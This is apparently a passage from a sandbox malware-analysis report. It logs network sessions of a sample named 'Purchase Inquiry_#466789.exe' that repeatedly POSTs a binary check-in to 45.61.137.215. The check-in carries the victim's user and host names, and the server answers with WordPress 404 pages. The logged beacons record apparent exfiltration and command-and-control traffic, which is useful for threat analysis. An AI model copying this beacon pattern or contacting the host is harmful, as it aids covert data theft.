May 27, 2024 08:32:19.620160103 CEST	1236	IN	Data Raw: 61 72 28 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 63 6f 6c 6f 72 2d 2d 62 6c 61 63 6b 29 20 21 69 6d 70 6f 72 74 61 6e 74 3b 7d 2e 68 61 73 2d 63 79 61 6e 2d 62 6c 75 69 73 68 2d 67 72 61 79 2d 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 7b Data Ascii: ar(--wp--preset--color--black) !important;}.has-cyan-bluish-gray-background-color{background-color: var(--wp--preset--color--cyan-bluish-gray) !important;}.has-white-background-color{background-color: var(--wp--preset--color--white) !important
May 27, 2024 08:32:19.620192051 CEST	1236	IN	Data Raw: 61 63 6b 2d 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 7b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 20 76 61 72 28 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 63 6f 6c 6f 72 2d 2d 62 6c 61 63 6b 29 20 21 69 6d 70 6f 72 74 61 6e 74 3b 7d 2e 68 61 73 2d 63 79 Data Ascii: ack-border-color{border-color: var(--wp--preset--color--black) !important;}.has-cyan-bluish-gray-border-color{border-color: var(--wp--preset--color--cyan-bluish-gray) !important;}.has-white-border-color{border-color: var(--wp--preset--color--w

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49749	45.61.137.215	80	7244	C:\Users\user\Desktop\Purchase Inquiry_#466789.exe

Timestamp	Bytes transferred	Direction	Data
May 27, 2024 08:32:19.874041080 CEST	244	OUT	POST /index.php/t?id=090 HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 45.61.137.215 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A316C5D8 Content-Length: 149 Connection: close
May 27, 2024 08:32:19.879292011 CEST	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 6a 00 6f 00 6e 00 65 00 73 00 01 00 0c 00 00 00 36 00 37 00 35 00 30 00 35 00 32 00 01 00 10 00 00 00 4a 00 4f 00 4e 00 45 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.rujones675052JONES-PC0FDD42EE188E931437F4FBE2C
May 27, 2024 08:32:22.064448118 CEST	1236	IN	HTTP/1.0 404 Not Found Date: Mon, 27 May 2024 06:32:20 GMT Server: Apache/2.4.52 (Ubuntu) Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <http://45.61.137.215/index.php/wp-json/>; rel="https://api.w.org/" Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0d 0a 09 3c 68 65 61 64 3e 0d 0a 09 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0d 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0d 0a 09 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 6f 66 69 6c 65 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 67 6d 70 67 2e 6f 72 67 2f 78 66 6e 2f 31 31 22 3e 0d 0a 09 09 0d 0a 09 09 3c 74 69 74 6c 65 3e 50 61 67 65 20 6e 6f 74 20 66 6f 75 6e 64 20 26 23 38 32 31 31 3b 20 73 65 70 61 72 61 74 65 64 20 70 61 70 65 72 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 27 72 6f 62 6f 74 73 27 20 63 6f 6e 74 65 6e 74 3d 27 6d 61 78 2d 69 6d 61 67 65 2d 70 72 65 76 69 65 77 3a 6c 61 72 67 65 27 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 27 64 6e 73 2d 70 72 65 66 65 74 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang="en-US"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1"><link rel="profile" href="https://gmpg.org/xfn/11"><title>Page not found – separated paper</title><meta name='robots' content='max-image-preview:large' /><link rel='dns-prefetch' href='//fonts.googleapis.com' /><link rel="alternate" type="application/rss+xml" title="separated paper » Feed" href="http://45.61.137.215/index.php/feed/" /><link rel="alternate" type="application/rss+xml" title="separated paper » Comments Feed" href="http://45.61.137.215/index.php/comments/feed/" /><script type="text/javascript">/* <![CDATA[ */window._wpemojiSettings = {"baseUrl":"https:\/\/s.w.org\/images\/core\/emoji\/15.0.3\/72x72\/","ext":".png","svgUrl":"https:\/\/s.w.org\/images\/core\/emoji\/15.0.3\/svg\/","svgExt":".svg","source":{"concate
May 27, 2024 08:32:22.064482927 CEST	1236	IN	Data Raw: 6d 6f 6a 69 22 3a 22 68 74 74 70 3a 5c 2f 5c 2f 34 35 2e 36 31 2e 31 33 37 2e 32 31 35 5c 2f 77 70 2d 69 6e 63 6c 75 64 65 73 5c 2f 6a 73 5c 2f 77 70 2d 65 6d 6f 6a 69 2d 72 65 6c 65 61 73 65 2e 6d 69 6e 2e 6a 73 3f 76 65 72 3d 36 2e 35 2e 33 22 Data Ascii: moji":"http:\/\/45.61.137.215\/wp-includes\/js\/wp-emoji-release.min.js?ver=6.5.3"}};/! This file is auto-generated /!function(i,n){var o,s,e;function c(e){try{var t={supportTests:e,timestamp:(new Date).valueOf()};sessionStorage.setItem(o,
May 27, 2024 08:32:22.064497948 CEST	448	IN	Data Raw: 65 6e 43 61 6e 76 61 73 28 33 30 30 2c 31 35 30 29 3a 69 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 63 61 6e 76 61 73 22 29 2c 61 3d 72 2e 67 65 74 43 6f 6e 74 65 78 74 28 22 32 64 22 2c 7b 77 69 6c 6c 52 65 61 64 46 72 65 71 75 65 6e 74 6c Data Ascii: enCanvas(300,150):i.createElement("canvas"),a=r.getContext("2d",{willReadFrequently:!0}),o=(a.textBaseline="top",a.font="600 32px Arial",{});return e.forEach(function(e){o[e]=t(a,e,n)}),o}function t(e){var t=i.createElement("script");t.src=e,t
May 27, 2024 08:32:22.064508915 CEST	1236	IN	Data Raw: 22 44 4f 4d 43 6f 6e 74 65 6e 74 4c 6f 61 64 65 64 22 2c 65 2c 7b 6f 6e 63 65 3a 21 30 7d 29 7d 29 2c 6e 65 77 20 50 72 6f 6d 69 73 65 28 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 6e 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 72 79 7b 76 61 72 Data Ascii: "DOMContentLoaded",e,{once:!0})}),new Promise(function(t){var n=function(){try{var e=JSON.parse(sessionStorage.getItem(o));if("object"==typeof e&&"number"==typeof e.timestamp&&(new Date).valueOf()<e.timestamp+604800&&"object"==typeof e.support
May 27, 2024 08:32:22.064517975 CEST	1236	IN	Data Raw: 70 65 6d 6f 6a 69 26 26 65 2e 74 77 65 6d 6f 6a 69 26 26 28 74 28 65 2e 74 77 65 6d 6f 6a 69 29 2c 74 28 65 2e 77 70 65 6d 6f 6a 69 29 29 29 7d 29 29 7d 28 28 77 69 6e 64 6f 77 2c 64 6f 63 75 6d 65 6e 74 29 2c 77 69 6e 64 6f 77 2e 5f 77 70 65 6d Data Ascii: pemoji&&e.twemoji&&(t(e.twemoji),t(e.wpemoji)))}))}((window,document),window._wpemojiSettings);/* ... */</script><style id='wp-emoji-styles-inline-css' type='text/css'>img.wp-smiley, img.emoji {display: inline !important;border: no
May 27, 2024 08:32:22.064528942 CEST	448	IN	Data Raw: 2d 63 6f 6c 6f 72 2d 2d 76 69 76 69 64 2d 72 65 64 3a 20 23 63 66 32 65 32 65 3b 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 63 6f 6c 6f 72 2d 2d 6c 75 6d 69 6e 6f 75 73 2d 76 69 76 69 64 2d 6f 72 61 6e 67 65 3a 20 23 66 66 36 39 30 30 3b 2d 2d 77 Data Ascii: -color--vivid-red: #cf2e2e;--wp--preset--color--luminous-vivid-orange: #ff6900;--wp--preset--color--luminous-vivid-amber: #fcb900;--wp--preset--color--light-green-cyan: #7bdcb5;--wp--preset--color--vivid-green-cyan: #00d084;--wp--preset--color
May 27, 2024 08:32:22.064569950 CEST	1236	IN	Data Raw: 2c 32 32 37 2c 31 29 20 30 25 2c 72 67 62 28 31 35 35 2c 38 31 2c 32 32 34 29 20 31 30 30 25 29 3b 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 67 72 61 64 69 65 6e 74 2d 2d 6c 69 67 68 74 2d 67 72 65 65 6e 2d 63 79 61 6e 2d 74 6f 2d 76 69 76 69 64 Data Ascii: ,227,1) 0%,rgb(155,81,224) 100%);--wp--preset--gradient--light-green-cyan-to-vivid-green-cyan: linear-gradient(135deg,rgb(122,220,180) 0%,rgb(0,208,130) 100%);--wp--preset--gradient--luminous-vivid-amber-to-luminous-vivid-orange: linear-gradie
May 27, 2024 08:32:22.064618111 CEST	224	IN	Data Raw: 64 69 65 6e 74 2d 2d 65 6c 65 63 74 72 69 63 2d 67 72 61 73 73 3a 20 6c 69 6e 65 61 72 2d 67 72 61 64 69 65 6e 74 28 31 33 35 64 65 67 2c 72 67 62 28 32 30 32 2c 32 34 38 2c 31 32 38 29 20 30 25 2c 72 67 62 28 31 31 33 2c 32 30 36 2c 31 32 36 29 Data Ascii: dient--electric-grass: linear-gradient(135deg,rgb(202,248,128) 0%,rgb(113,206,126) 100%);--wp--preset--gradient--midnight: linear-gradient(135deg,rgb(2,3,129) 0%,rgb(40,116,252) 100%);--wp--preset--font-size--small: 13px;--w
May 27, 2024 08:32:22.064627886 CEST	1236	IN	Data Raw: 70 2d 2d 70 72 65 73 65 74 2d 2d 66 6f 6e 74 2d 73 69 7a 65 2d 2d 6d 65 64 69 75 6d 3a 20 32 30 70 78 3b 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 66 6f 6e 74 2d 73 69 7a 65 2d 2d 6c 61 72 67 65 3a 20 33 36 70 78 3b 2d 2d 77 70 2d 2d 70 72 65 73 Data Ascii: p--preset--font-size--medium: 20px;--wp--preset--font-size--large: 36px;--wp--preset--font-size--x-large: 42px;--wp--preset--spacing--20: 0.44rem;--wp--preset--spacing--30: 0.67rem;--wp--preset--spacing--40: 1rem;--wp--preset--spacing--50: 1.5
May 27, 2024 08:32:22.064636946 CEST	224	IN	Data Raw: 2d 2d 62 6c 61 63 6b 29 20 21 69 6d 70 6f 72 74 61 6e 74 3b 7d 2e 68 61 73 2d 63 79 61 6e 2d 62 6c 75 69 73 68 2d 67 72 61 79 2d 63 6f 6c 6f 72 7b 63 6f 6c 6f 72 3a 20 76 61 72 28 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 63 6f 6c 6f 72 2d 2d 63 Data Ascii: --black) !important;}.has-cyan-bluish-gray-color{color: var(--wp--preset--color--cyan-bluish-gray) !important;}.has-white-color{color: var(--wp--preset--color--white) !important;}.has-pale-pink-color{color: var(--wp--preset-

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49751	45.61.137.215	80	7244	C:\Users\user\Desktop\Purchase Inquiry_#466789.exe

Timestamp	Bytes transferred	Direction	Data
May 27, 2024 08:32:22.292984009 CEST	244	OUT	POST /index.php/t?id=090 HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 45.61.137.215 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A316C5D8 Content-Length: 149 Connection: close
May 27, 2024 08:32:22.297985077 CEST	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 6a 00 6f 00 6e 00 65 00 73 00 01 00 0c 00 00 00 36 00 37 00 35 00 30 00 35 00 32 00 01 00 10 00 00 00 4a 00 4f 00 4e 00 45 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.rujones675052JONES-PC0FDD42EE188E931437F4FBE2C
May 27, 2024 08:32:24.463984966 CEST	1236	IN	HTTP/1.0 404 Not Found Date: Mon, 27 May 2024 06:32:22 GMT Server: Apache/2.4.52 (Ubuntu) Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <http://45.61.137.215/index.php/wp-json/>; rel="https://api.w.org/" Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0d 0a 09 3c 68 65 61 64 3e 0d 0a 09 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0d 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0d 0a 09 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 6f 66 69 6c 65 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 67 6d 70 67 2e 6f 72 67 2f 78 66 6e 2f 31 31 22 3e 0d 0a 09 09 0d 0a 09 09 3c 74 69 74 6c 65 3e 50 61 67 65 20 6e 6f 74 20 66 6f 75 6e 64 20 26 23 38 32 31 31 3b 20 73 65 70 61 72 61 74 65 64 20 70 61 70 65 72 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 27 72 6f 62 6f 74 73 27 20 63 6f 6e 74 65 6e 74 3d 27 6d 61 78 2d 69 6d 61 67 65 2d 70 72 65 76 69 65 77 3a 6c 61 72 67 65 27 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 27 64 6e 73 2d 70 72 65 66 65 74 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang="en-US"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1"><link rel="profile" href="https://gmpg.org/xfn/11"><title>Page not found – separated paper</title><meta name='robots' content='max-image-preview:large' /><link rel='dns-prefetch' href='//fonts.googleapis.com' /><link rel="alternate" type="application/rss+xml" title="separated paper » Feed" href="http://45.61.137.215/index.php/feed/" /><link rel="alternate" type="application/rss+xml" title="separated paper » Comments Feed" href="http://45.61.137.215/index.php/comments/feed/" /><script type="text/javascript">/* <![CDATA[ */window._wpemojiSettings = {"baseUrl":"https:\/\/s.w.org\/images\/core\/emoji\/15.0.3\/72x72\/","ext":".png","svgUrl":"https:\/\/s.w.org\/images\/core\/emoji\/15.0.3\/svg\/","svgExt":".svg","source":{"concate
May 27, 2024 08:32:24.463994980 CEST	224	IN	Data Raw: 6d 6f 6a 69 22 3a 22 68 74 74 70 3a 5c 2f 5c 2f 34 35 2e 36 31 2e 31 33 37 2e 32 31 35 5c 2f 77 70 2d 69 6e 63 6c 75 64 65 73 5c 2f 6a 73 5c 2f 77 70 2d 65 6d 6f 6a 69 2d 72 65 6c 65 61 73 65 2e 6d 69 6e 2e 6a 73 3f 76 65 72 3d 36 2e 35 2e 33 22 Data Ascii: moji":"http:\/\/45.61.137.215\/wp-includes\/js\/wp-emoji-release.min.js?ver=6.5.3"}};/! This file is auto-generated /!function(i,n){var o,s,e;function c(e){try{var t={supportTests:e,timestamp:(new Date).valueOf()};sessio
May 27, 2024 08:32:24.464036942 CEST	1236	IN	Data Raw: 6e 53 74 6f 72 61 67 65 2e 73 65 74 49 74 65 6d 28 6f 2c 4a 53 4f 4e 2e 73 74 72 69 6e 67 69 66 79 28 74 29 29 7d 63 61 74 63 68 28 65 29 7b 7d 7d 66 75 6e 63 74 69 6f 6e 20 70 28 65 2c 74 2c 6e 29 7b 65 2e 63 6c 65 61 72 52 65 63 74 28 30 2c 30 Data Ascii: nStorage.setItem(o,JSON.stringify(t))}catch(e){}}function p(e,t,n){e.clearRect(0,0,e.canvas.width,e.canvas.height),e.fillText(t,0,0);var t=new Uint32Array(e.getImageData(0,0,e.canvas.width,e.canvas.height).data),r=(e.clearRect(0,0,e.canvas.wid
May 27, 2024 08:32:24.464056015 CEST	1236	IN	Data Raw: 22 73 63 72 69 70 74 22 29 3b 74 2e 73 72 63 3d 65 2c 74 2e 64 65 66 65 72 3d 21 30 2c 69 2e 68 65 61 64 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 74 29 7d 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 50 72 6f 6d 69 73 65 26 26 28 6f Data Ascii: "script");t.src=e,t.defer=!0,i.head.appendChild(t)}"undefined"!=typeof Promise&&(o="wpEmojiSettingsSupports",s=["flag","emoji"],n.supports={everything:!0,everythingExceptFlag:!0},e=new Promise(function(e){i.addEventListener("DOMContentLoaded",
May 27, 2024 08:32:24.464066982 CEST	1236	IN	Data Raw: 65 70 74 46 6c 61 67 26 26 21 6e 2e 73 75 70 70 6f 72 74 73 2e 66 6c 61 67 2c 6e 2e 44 4f 4d 52 65 61 64 79 3d 21 31 2c 6e 2e 72 65 61 64 79 43 61 6c 6c 62 61 63 6b 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 6e 2e 44 4f 4d 52 65 61 64 79 3d 21 30 7d 7d Data Ascii: eptFlag&&!n.supports.flag,n.DOMReady=!1,n.readyCallback=function(){n.DOMReady=!0}}).then(function(){return e}).then(function(){var e;n.supports.everything\|\|(n.readyCallback(),(e=n.source\|\|{}).concatemoji?t(e.concatemoji):e.wpemoji&&e.twemoji&&
May 27, 2024 08:32:24.464122057 CEST	1236	IN	Data Raw: 69 64 3d 27 67 6c 6f 62 61 6c 2d 73 74 79 6c 65 73 2d 69 6e 6c 69 6e 65 2d 63 73 73 27 20 74 79 70 65 3d 27 74 65 78 74 2f 63 73 73 27 3e 0a 62 6f 64 79 7b 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 63 6f 6c 6f 72 2d 2d 62 6c 61 63 6b 3a 20 23 30 Data Ascii: id='global-styles-inline-css' type='text/css'>body{--wp--preset--color--black: #000000;--wp--preset--color--cyan-bluish-gray: #abb8c3;--wp--preset--color--white: #ffffff;--wp--preset--color--pale-pink: #f78da7;--wp--preset--color--vivid-red:
May 27, 2024 08:32:24.464132071 CEST	1236	IN	Data Raw: 67 72 61 64 69 65 6e 74 2d 2d 63 6f 6f 6c 2d 74 6f 2d 77 61 72 6d 2d 73 70 65 63 74 72 75 6d 3a 20 6c 69 6e 65 61 72 2d 67 72 61 64 69 65 6e 74 28 31 33 35 64 65 67 2c 72 67 62 28 37 34 2c 32 33 34 2c 32 32 30 29 20 30 25 2c 72 67 62 28 31 35 31 Data Ascii: gradient--cool-to-warm-spectrum: linear-gradient(135deg,rgb(74,234,220) 0%,rgb(151,120,209) 20%,rgb(207,42,186) 40%,rgb(238,44,130) 60%,rgb(251,105,98) 80%,rgb(254,248,76) 100%);--wp--preset--gradient--blush-light-purple: linear-gradient(135de
May 27, 2024 08:32:24.464143038 CEST	1120	IN	Data Raw: 38 30 3a 20 35 2e 30 36 72 65 6d 3b 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 73 68 61 64 6f 77 2d 2d 6e 61 74 75 72 61 6c 3a 20 36 70 78 20 36 70 78 20 39 70 78 20 72 67 62 61 28 30 2c 20 30 2c 20 30 2c 20 30 2e 32 29 3b 2d 2d 77 70 2d 2d 70 72 Data Ascii: 80: 5.06rem;--wp--preset--shadow--natural: 6px 6px 9px rgba(0, 0, 0, 0.2);--wp--preset--shadow--deep: 12px 12px 50px rgba(0, 0, 0, 0.4);--wp--preset--shadow--sharp: 6px 6px 0px rgba(0, 0, 0, 0.2);--wp--preset--shadow--outlined: 6px 6px 0px -3p
May 27, 2024 08:32:24.464265108 CEST	1236	IN	Data Raw: 2d 63 6f 6c 6f 72 2d 2d 70 61 6c 65 2d 70 69 6e 6b 29 20 21 69 6d 70 6f 72 74 61 6e 74 3b 7d 2e 68 61 73 2d 76 69 76 69 64 2d 72 65 64 2d 63 6f 6c 6f 72 7b 63 6f 6c 6f 72 3a 20 76 61 72 28 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 63 6f 6c 6f 72 Data Ascii: -color--pale-pink) !important;}.has-vivid-red-color{color: var(--wp--preset--color--vivid-red) !important;}.has-luminous-vivid-orange-color{color: var(--wp--preset--color--luminous-vivid-orange) !important;}.has-luminous-vivid-amber-color{colo
May 27, 2024 08:32:24.464282990 CEST	1236	IN	Data Raw: 6d 69 6e 6f 75 73 2d 76 69 76 69 64 2d 6f 72 61 6e 67 65 2d 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 76 61 72 28 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 63 6f 6c 6f 72 2d 2d 6c 75 Data Ascii: minous-vivid-orange-background-color{background-color: var(--wp--preset--color--luminous-vivid-orange) !important;}.has-luminous-vivid-amber-background-color{background-color: var(--wp--preset--color--luminous-vivid-amber) !important;}.has-lig

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49752	45.61.137.215	80	7244	C:\Users\user\Desktop\Purchase Inquiry_#466789.exe

Timestamp	Bytes transferred	Direction	Data
May 27, 2024 08:32:24.621009111 CEST	244	OUT	POST /index.php/t?id=090 HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 45.61.137.215 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A316C5D8 Content-Length: 149 Connection: close
May 27, 2024 08:32:24.626135111 CEST	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 6a 00 6f 00 6e 00 65 00 73 00 01 00 0c 00 00 00 36 00 37 00 35 00 30 00 35 00 32 00 01 00 10 00 00 00 4a 00 4f 00 4e 00 45 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.rujones675052JONES-PC0FDD42EE188E931437F4FBE2C
May 27, 2024 08:32:26.752924919 CEST	1236	IN	HTTP/1.0 404 Not Found Date: Mon, 27 May 2024 06:32:25 GMT Server: Apache/2.4.52 (Ubuntu) Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <http://45.61.137.215/index.php/wp-json/>; rel="https://api.w.org/" Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0d 0a 09 3c 68 65 61 64 3e 0d 0a 09 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0d 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0d 0a 09 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 6f 66 69 6c 65 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 67 6d 70 67 2e 6f 72 67 2f 78 66 6e 2f 31 31 22 3e 0d 0a 09 09 0d 0a 09 09 3c 74 69 74 6c 65 3e 50 61 67 65 20 6e 6f 74 20 66 6f 75 6e 64 20 26 23 38 32 31 31 3b 20 73 65 70 61 72 61 74 65 64 20 70 61 70 65 72 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 27 72 6f 62 6f 74 73 27 20 63 6f 6e 74 65 6e 74 3d 27 6d 61 78 2d 69 6d 61 67 65 2d 70 72 65 76 69 65 77 3a 6c 61 72 67 65 27 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 27 64 6e 73 2d 70 72 65 66 65 74 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang="en-US"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1"><link rel="profile" href="https://gmpg.org/xfn/11"><title>Page not found – separated paper</title><meta name='robots' content='max-image-preview:large' /><link rel='dns-prefetch' href='//fonts.googleapis.com' /><link rel="alternate" type="application/rss+xml" title="separated paper » Feed" href="http://45.61.137.215/index.php/feed/" /><link rel="alternate" type="application/rss+xml" title="separated paper » Comments Feed" href="http://45.61.137.215/index.php/comments/feed/" /><script type="text/javascript">/* <![CDATA[ */window._wpemojiSettings = {"baseUrl":"https:\/\/s.w.org\/images\/core\/emoji\/15.0.3\/72x72\/","ext":".png","svgUrl":"https:\/\/s.w.org\/images\/core\/emoji\/15.0.3\/svg\/","svgExt":".svg","source":{"concate
May 27, 2024 08:32:26.752981901 CEST	224	IN	Data Raw: 6d 6f 6a 69 22 3a 22 68 74 74 70 3a 5c 2f 5c 2f 34 35 2e 36 31 2e 31 33 37 2e 32 31 35 5c 2f 77 70 2d 69 6e 63 6c 75 64 65 73 5c 2f 6a 73 5c 2f 77 70 2d 65 6d 6f 6a 69 2d 72 65 6c 65 61 73 65 2e 6d 69 6e 2e 6a 73 3f 76 65 72 3d 36 2e 35 2e 33 22 Data Ascii: moji":"http:\/\/45.61.137.215\/wp-includes\/js\/wp-emoji-release.min.js?ver=6.5.3"}};/! This file is auto-generated /!function(i,n){var o,s,e;function c(e){try{var t={supportTests:e,timestamp:(new Date).valueOf()};sessio
May 27, 2024 08:32:26.753010035 CEST	1236	IN	Data Raw: 6e 53 74 6f 72 61 67 65 2e 73 65 74 49 74 65 6d 28 6f 2c 4a 53 4f 4e 2e 73 74 72 69 6e 67 69 66 79 28 74 29 29 7d 63 61 74 63 68 28 65 29 7b 7d 7d 66 75 6e 63 74 69 6f 6e 20 70 28 65 2c 74 2c 6e 29 7b 65 2e 63 6c 65 61 72 52 65 63 74 28 30 2c 30 Data Ascii: nStorage.setItem(o,JSON.stringify(t))}catch(e){}}function p(e,t,n){e.clearRect(0,0,e.canvas.width,e.canvas.height),e.fillText(t,0,0);var t=new Uint32Array(e.getImageData(0,0,e.canvas.width,e.canvas.height).data),r=(e.clearRect(0,0,e.canvas.wid
May 27, 2024 08:32:26.753041029 CEST	1236	IN	Data Raw: 22 73 63 72 69 70 74 22 29 3b 74 2e 73 72 63 3d 65 2c 74 2e 64 65 66 65 72 3d 21 30 2c 69 2e 68 65 61 64 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 74 29 7d 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 50 72 6f 6d 69 73 65 26 26 28 6f Data Ascii: "script");t.src=e,t.defer=!0,i.head.appendChild(t)}"undefined"!=typeof Promise&&(o="wpEmojiSettingsSupports",s=["flag","emoji"],n.supports={everything:!0,everythingExceptFlag:!0},e=new Promise(function(e){i.addEventListener("DOMContentLoaded",
May 27, 2024 08:32:26.753091097 CEST	1236	IN	Data Raw: 65 70 74 46 6c 61 67 26 26 21 6e 2e 73 75 70 70 6f 72 74 73 2e 66 6c 61 67 2c 6e 2e 44 4f 4d 52 65 61 64 79 3d 21 31 2c 6e 2e 72 65 61 64 79 43 61 6c 6c 62 61 63 6b 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 6e 2e 44 4f 4d 52 65 61 64 79 3d 21 30 7d 7d Data Ascii: eptFlag&&!n.supports.flag,n.DOMReady=!1,n.readyCallback=function(){n.DOMReady=!0}}).then(function(){return e}).then(function(){var e;n.supports.everything\|\|(n.readyCallback(),(e=n.source\|\|{}).concatemoji?t(e.concatemoji):e.wpemoji&&e.twemoji&&
May 27, 2024 08:32:26.753124952 CEST	672	IN	Data Raw: 69 64 3d 27 67 6c 6f 62 61 6c 2d 73 74 79 6c 65 73 2d 69 6e 6c 69 6e 65 2d 63 73 73 27 20 74 79 70 65 3d 27 74 65 78 74 2f 63 73 73 27 3e 0a 62 6f 64 79 7b 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 63 6f 6c 6f 72 2d 2d 62 6c 61 63 6b 3a 20 23 30 Data Ascii: id='global-styles-inline-css' type='text/css'>body{--wp--preset--color--black: #000000;--wp--preset--color--cyan-bluish-gray: #abb8c3;--wp--preset--color--white: #ffffff;--wp--preset--color--pale-pink: #f78da7;--wp--preset--color--vivid-red:
